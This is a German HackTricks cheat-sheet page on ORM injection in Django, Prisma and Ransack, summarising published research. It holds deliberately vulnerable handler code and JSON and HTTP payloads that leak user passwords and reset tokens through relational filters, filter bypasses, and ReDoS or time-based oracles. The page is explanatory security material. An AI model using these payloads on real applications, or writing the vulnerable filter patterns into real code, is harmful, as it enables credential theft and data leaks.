mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
335 lines
12 KiB
Markdown
335 lines
12 KiB
Markdown
# ORM Injection
|
|
|
|
{% hint style="success" %}
|
|
Lernen & üben Sie AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Lernen & üben Sie GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Unterstützen Sie HackTricks</summary>
|
|
|
|
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Django ORM (Python)
|
|
|
|
In [**diesem Beitrag**](https://www.elttam.com/blog/plormbing-your-django-orm/) wird erklärt, wie es möglich ist, ein Django ORM anfällig zu machen, indem man beispielsweise einen Code wie folgt verwendet:
|
|
|
|
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
|
|
"""
|
|
Einige grundlegende API-Ansicht, an die Benutzer Anfragen senden, um
|
|
nach Artikeln zu suchen
|
|
"""
|
|
def post(self, request: Request, format=None):
|
|
try:
|
|
<strong> articles = Article.objects.filter(**request.data)
|
|
</strong> serializer = ArticleSerializer(articles, many=True)
|
|
except Exception as e:
|
|
return Response([])
|
|
return Response(serializer.data)
|
|
</code></pre>
|
|
|
|
Beachten Sie, wie alle request.data (die ein JSON sein wird) direkt verwendet wird, um **Objekte aus der Datenbank zu filtern**. Ein Angreifer könnte unerwartete Filter senden, um mehr Daten als erwartet zu leaken.
|
|
|
|
Beispiele:
|
|
|
|
* **Login:** Bei einem einfachen Login versuchen, die Passwörter der registrierten Benutzer zu leaken.
|
|
```json
|
|
{
|
|
"username": "admin",
|
|
"password_startswith":"a"
|
|
}
|
|
```
|
|
{% hint style="danger" %}
|
|
Es ist möglich, das Passwort durch Brute-Force zu knacken, bis es geleakt wird.
|
|
{% endhint %}
|
|
|
|
* **Relationales Filtern**: Es ist möglich, Beziehungen zu durchlaufen, um Informationen aus Spalten zu leaken, die nicht einmal für die Operation erwartet wurden. Zum Beispiel, wenn es möglich ist, Artikel zu leaken, die von einem Benutzer mit diesen Beziehungen erstellt wurden: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
|
|
```json
|
|
{
|
|
"created_by__user__password__contains":"pass"
|
|
}
|
|
```
|
|
{% hint style="danger" %}
|
|
Es ist möglich, das Passwort aller Benutzer zu finden, die einen Artikel erstellt haben.
|
|
{% endhint %}
|
|
|
|
* **Viele-zu-viele relationale Filterung**: Im vorherigen Beispiel konnten wir die Passwörter von Benutzern, die keinen Artikel erstellt haben, nicht finden. Durch das Verfolgen anderer Beziehungen ist dies jedoch möglich. Zum Beispiel: Artikel(`created_by`) -\[1..1]-> Autor(`departments`) -\[0..\*]-> Abteilung(`employees`) -\[0..\*]-> Autor(`user`) -\[1..1]-> Benutzer(`password`).
|
|
```json
|
|
{
|
|
"created_by__departments__employees__user_startswith":"admi"
|
|
}
|
|
```
|
|
{% hint style="danger" %}
|
|
In diesem Fall können wir alle Benutzer in den Abteilungen von Benutzern finden, die Artikel erstellt haben, und dann ihre Passwörter leaken (im vorherigen JSON leaken wir nur die Benutzernamen, aber dann ist es möglich, die Passwörter zu leaken).
|
|
{% endhint %}
|
|
|
|
* **Missbrauch von Django Group und Permission viele-zu-viele Beziehungen mit Benutzern**: Darüber hinaus wird das AbstractUser-Modell verwendet, um Benutzer in Django zu generieren, und standardmäßig hat dieses Modell einige **viele-zu-viele Beziehungen mit den Permission- und Group-Tabellen**. Dies ist im Grunde eine Standardmethode, um **auf andere Benutzer von einem Benutzer zuzugreifen**, wenn sie in der **gleichen Gruppe sind oder die gleiche Berechtigung teilen**.
|
|
```bash
|
|
# By users in the same group
|
|
created_by__user__groups__user__password
|
|
|
|
# By users with the same permission
|
|
created_by__user__user_permissions__user__password
|
|
```
|
|
* **Umgehung von Filterbeschränkungen**: Der gleiche Blogbeitrag schlug vor, die Verwendung einiger Filter wie `articles = Article.objects.filter(is_secret=False, **request.data)` zu umgehen. Es ist möglich, Artikel, die is\_secret=True haben, zu dumpen, da wir von einer Beziehung zur Article-Tabelle zurückschleifen können und geheime Artikel aus nicht geheimen Artikeln leaken können, da die Ergebnisse zusammengeführt werden und das is\_secret-Feld im nicht geheimen Artikel überprüft wird, während die Daten aus dem geheimen Artikel geleakt werden.
|
|
```bash
|
|
Article.objects.filter(is_secret=False, categories__articles__id=2)
|
|
```
|
|
{% hint style="danger" %}
|
|
Durch den Missbrauch von Beziehungen ist es möglich, sogar Filter zu umgehen, die dazu gedacht sind, die angezeigten Daten zu schützen.
|
|
{% endhint %}
|
|
|
|
* **Fehler-/Zeitbasiert über ReDoS**: In den vorherigen Beispielen wurde erwartet, unterschiedliche Antworten zu erhalten, wenn die Filterung funktionierte oder nicht, um dies als Orakel zu verwenden. Es könnte jedoch möglich sein, dass eine Aktion in der Datenbank durchgeführt wird und die Antwort immer gleich ist. In diesem Szenario könnte es möglich sein, den Datenbankfehler zu erzeugen, um ein neues Orakel zu erhalten.
|
|
```json
|
|
// Non matching password
|
|
{
|
|
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
|
|
}
|
|
|
|
// ReDoS matching password (will show some error in the response or check the time)
|
|
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
|
|
```
|
|
From te same post regarding this vector:
|
|
|
|
* **SQLite**: Hat standardmäßig keinen regexp-Operator (erfordert das Laden einer Drittanbietererweiterung)
|
|
* **PostgreSQL**: Hat keinen standardmäßigen Regex-Timeout und ist weniger anfällig für Backtracking
|
|
* **MariaDB**: Hat keinen Regex-Timeout
|
|
|
|
## Prisma ORM (NodeJS)
|
|
|
|
Die folgenden sind [**Tricks, die aus diesem Beitrag extrahiert wurden**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
|
|
|
|
* **Vollständige Suchkontrolle**:
|
|
|
|
<pre class="language-javascript"><code class="lang-javascript">const app = express();
|
|
|
|
app.use(express.json());
|
|
|
|
app.post('/articles/verybad', async (req, res) => {
|
|
try {
|
|
// Angreifer hat vollständige Kontrolle über alle Prisma-Optionen
|
|
<strong> const posts = await prisma.article.findMany(req.body.filter)
|
|
</strong> res.json(posts);
|
|
} catch (error) {
|
|
res.json([]);
|
|
}
|
|
});
|
|
</code></pre>
|
|
|
|
Es ist möglich zu sehen, dass der gesamte JavaScript-Body an Prisma übergeben wird, um Abfragen durchzuführen.
|
|
|
|
Im Beispiel aus dem ursprünglichen Beitrag würde dies alle Beiträge überprüfen, die von jemandem erstellt wurden (jeder Beitrag wird von jemandem erstellt) und auch die Benutzerinformationen dieser Person zurückgeben (Benutzername, Passwort...)
|
|
```json
|
|
{
|
|
"filter": {
|
|
"include": {
|
|
"createdBy": true
|
|
}
|
|
}
|
|
}
|
|
|
|
// Response
|
|
[
|
|
{
|
|
"id": 1,
|
|
"title": "Buy Our Essential Oils",
|
|
"body": "They are very healthy to drink",
|
|
"published": true,
|
|
"createdById": 1,
|
|
"createdBy": {
|
|
"email": "karen@example.com",
|
|
"id": 1,
|
|
"isAdmin": false,
|
|
"name": "karen",
|
|
"password": "super secret passphrase",
|
|
"resetToken": "2eed5e80da4b7491"
|
|
}
|
|
},
|
|
...
|
|
]
|
|
```
|
|
Die folgende Abfrage wählt alle Beiträge aus, die von jemandem mit einem Passwort erstellt wurden, und gibt das Passwort zurück:
|
|
```json
|
|
{
|
|
"filter": {
|
|
"select": {
|
|
"createdBy": {
|
|
"select": {
|
|
"password": true
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// Response
|
|
[
|
|
{
|
|
"createdBy": {
|
|
"password": "super secret passphrase"
|
|
}
|
|
},
|
|
...
|
|
]
|
|
```
|
|
* **Vollständige Kontrolle über die where-Klausel**:
|
|
|
|
Lassen Sie uns einen Blick darauf werfen, wo der Angriff die `where`-Klausel steuern kann:
|
|
|
|
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
|
|
try {
|
|
const posts = await prisma.article.findMany({
|
|
<strong> where: req.query.filter as any // Anfällig für ORM-Leaks
|
|
</strong> })
|
|
res.json(posts);
|
|
} catch (error) {
|
|
res.json([]);
|
|
}
|
|
});
|
|
</code></pre>
|
|
|
|
Es ist möglich, das Passwort der Benutzer direkt zu filtern wie:
|
|
```javascript
|
|
await prisma.article.findMany({
|
|
where: {
|
|
createdBy: {
|
|
password: {
|
|
startsWith: "pas"
|
|
}
|
|
}
|
|
}
|
|
})
|
|
```
|
|
{% hint style="danger" %}
|
|
Durch die Verwendung von Operationen wie `startsWith` ist es möglich, Informationen zu leaken. 
|
|
{% endhint %}
|
|
|
|
* **Umgehung der Filterung bei vielen-zu-vielen relationalen Filtern:** 
|
|
```javascript
|
|
app.post('/articles', async (req, res) => {
|
|
try {
|
|
const query = req.body.query;
|
|
query.published = true;
|
|
const posts = await prisma.article.findMany({ where: query })
|
|
res.json(posts);
|
|
} catch (error) {
|
|
res.json([]);
|
|
}
|
|
});
|
|
```
|
|
Es ist möglich, nicht veröffentlichte Artikel durch Rückverknüpfung zu den vielen-zu-vielen-Beziehungen zwischen `Category` -\[\*..\*]-> `Article` zu leaken:
|
|
```json
|
|
{
|
|
"query": {
|
|
"categories": {
|
|
"some": {
|
|
"articles": {
|
|
"some": {
|
|
"published": false,
|
|
"{articleFieldToLeak}": {
|
|
"startsWith": "{testStartsWith}"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
Es ist auch möglich, alle Benutzer durch den Missbrauch einiger Loopback-viele-zu-viele-Beziehungen zu leaken:
|
|
```json
|
|
{
|
|
"query": {
|
|
"createdBy": {
|
|
"departments": {
|
|
"some": {
|
|
"employees": {
|
|
"some": {
|
|
"departments": {
|
|
"some": {
|
|
"employees": {
|
|
"some": {
|
|
"departments": {
|
|
"some": {
|
|
"employees": {
|
|
"some": {
|
|
"{fieldToLeak}": {
|
|
"startsWith": "{testStartsWith}"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
* **Error/Timed queries**: Im ursprünglichen Beitrag können Sie eine sehr umfangreiche Reihe von Tests lesen, die durchgeführt wurden, um die optimale Payload zu finden, um Informationen mit einer zeitbasierten Payload zu leaken. Dies ist:
|
|
```json
|
|
{
|
|
"OR": [
|
|
{
|
|
"NOT": {ORM_LEAK}
|
|
},
|
|
{CONTAINS_LIST}
|
|
]
|
|
}
|
|
```
|
|
Wo die `{CONTAINS_LIST}` eine Liste mit 1000 Zeichenfolgen ist, um sicherzustellen, dass die **Antwort verzögert wird, wenn das richtige Leak gefunden wird.**
|
|
|
|
## **Ransack (Ruby)**
|
|
|
|
Diese Tricks wurden [**in diesem Beitrag gefunden**](https://positive.security/blog/ransack-data-exfiltration)**.**
|
|
|
|
{% hint style="success" %}
|
|
**Beachten Sie, dass Ransack 4.0.0.0 jetzt die Verwendung einer expliziten Erlaubenliste für durchsuchbare Attribute und Assoziationen durchsetzt.**
|
|
{% endhint %}
|
|
|
|
**Anfälliges Beispiel:**
|
|
```ruby
|
|
def index
|
|
@q = Post.ransack(params[:q])
|
|
@posts = @q.result(distinct: true)
|
|
end
|
|
```
|
|
Beachten Sie, wie die Abfrage durch die vom Angreifer gesendeten Parameter definiert wird. Es war möglich, den Rücksetz-Token beispielsweise mit folgendem zu brute-forcen:
|
|
```http
|
|
GET /posts?q[user_reset_password_token_start]=0
|
|
GET /posts?q[user_reset_password_token_start]=1
|
|
...
|
|
```
|
|
Durch Brute-Forcing und potenziell Beziehungen war es möglich, mehr Daten aus einer Datenbank zu leaken.
|
|
|
|
## References
|
|
|
|
* [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
|
|
* [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
|
|
* [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|